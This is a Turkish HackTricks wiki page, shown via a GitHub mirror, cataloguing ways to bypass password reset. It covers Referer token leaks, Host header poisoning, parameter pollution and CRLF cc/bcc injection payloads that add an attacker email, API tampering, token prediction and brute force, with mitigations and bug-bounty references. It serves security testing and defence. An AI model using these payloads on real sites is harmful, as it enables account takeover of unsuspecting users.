mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
174 lines
8.9 KiB
Markdown
174 lines
8.9 KiB
Markdown
# Sıfırlama/Unutulmuş Şifre Bypass
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **Referans Üzerinden Şifre Sıfırlama Tokeni Sızıntısı**
|
||
|
||
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
|
||
- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
|
||
- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir.
|
||
- **Referanslar**:
|
||
- [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
|
||
- [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
|
||
- [Şifre Sıfırlama Tokeni Sızıntısı Makalesi](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||
|
||
## **Şifre Sıfırlama Zehirleme**
|
||
|
||
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
|
||
- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar.
|
||
- **Hafifletme Adımları**:
|
||
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
|
||
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
|
||
- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
|
||
- **Referanslar**:
|
||
- [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||
|
||
## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama**
|
||
|
||
Saldırganlar, sıfırlama bağlantısını yönlendirmek için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
|
||
|
||
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin.
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&email=attacker@email.com
|
||
```
|
||
- Saldırgan e-posta adresini ikinci parametre olarak %20 kullanarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com%20email=attacker@email.com
|
||
```
|
||
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com|email=attacker@email.com
|
||
```
|
||
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||
```
|
||
- Saldırgan e-posta adresini ikinci parametre olarak bcc kullanarak ekleyin
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||
```
|
||
- Saldırgan e-posta adresini ikinci parametre olarak ekleyin,
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld",email="attacker@mail.tld"
|
||
```
|
||
- Saldırgan e-posta adresini JSON dizisinde ikinci parametre olarak ekleyin.
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||
```
|
||
- **Azaltma Adımları**:
|
||
- E-posta parametrelerini sunucu tarafında doğru bir şekilde ayrıştırın ve doğrulayın.
|
||
- Enjeksiyon saldırılarını önlemek için hazırlıklı ifadeler veya parametreli sorgular kullanın.
|
||
- **Referanslar**:
|
||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||
|
||
## **API Parametreleri ile Herhangi Bir Kullanıcının E-posta ve Şifresini Değiştirme**
|
||
|
||
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve şifre parametrelerini değiştirebilir.
|
||
```php
|
||
POST /api/changepass
|
||
[...]
|
||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||
```
|
||
- **Azaltma Adımları**:
|
||
- Katı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
|
||
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın.
|
||
- **Referans**:
|
||
- [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||
|
||
## **Hız Sınırlandırması Yok: E-posta Bombardımanı**
|
||
|
||
- Şifre sıfırlama taleplerinde hız sınırlaması olmaması, kullanıcıyı sıfırlama e-postalarıyla boğabilir.
|
||
- **Azaltma Adımları**:
|
||
- IP adresine veya kullanıcı hesabına dayalı hız sınırlaması uygulayın.
|
||
- Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın.
|
||
- **Referanslar**:
|
||
- [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
|
||
|
||
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma**
|
||
|
||
- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
|
||
- Zaman Damgasına Dayalı
|
||
- Kullanıcı Kimliğine Dayalı
|
||
- Kullanıcının E-posta Adresine Dayalı
|
||
- Ad ve Soyadına Dayalı
|
||
- Doğum Tarihine Dayalı
|
||
- Kriptografi Temelli
|
||
- **Azaltma Adımları**:
|
||
- Token üretimi için güçlü, kriptografik yöntemler kullanın.
|
||
- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağladığınızdan emin olun.
|
||
- **Araçlar**: Token'ların rastgeleliğini analiz etmek için Burp Sequencer kullanın.
|
||
|
||
## **Tahmin Edilebilir UUID**
|
||
|
||
- UUID'ler (sürüm 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
|
||
|
||
{{#ref}}
|
||
uuid-insecurities.md
|
||
{{#endref}}
|
||
|
||
- **Azaltma Adımları**:
|
||
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
|
||
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||
|
||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme**
|
||
|
||
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
|
||
- **Azaltma Adımları**:
|
||
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
||
- Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||
- **Referans**:
|
||
- [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||
|
||
## **Süresi Dolmuş Token Kullanma**
|
||
|
||
- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
|
||
- **Azaltma Adımları**:
|
||
- Katı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
|
||
|
||
## **Brute Force Şifre Sıfırlama Token'ı**
|
||
|
||
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma.
|
||
- **Azaltma Adımları**:
|
||
- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın.
|
||
- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin.
|
||
|
||
## **Token'ınızı Kullanmayı Deneyin**
|
||
|
||
- Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
|
||
- **Azaltma Adımları**:
|
||
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
|
||
|
||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||
|
||
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma.
|
||
- **Azaltma Adımları**:
|
||
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
|
||
|
||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||
|
||
- Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır.
|
||
- **Azaltma Adımları**:
|
||
- Sıfırlama token'ları için makul bir süre belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
|
||
|
||
## Referanslar
|
||
|
||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|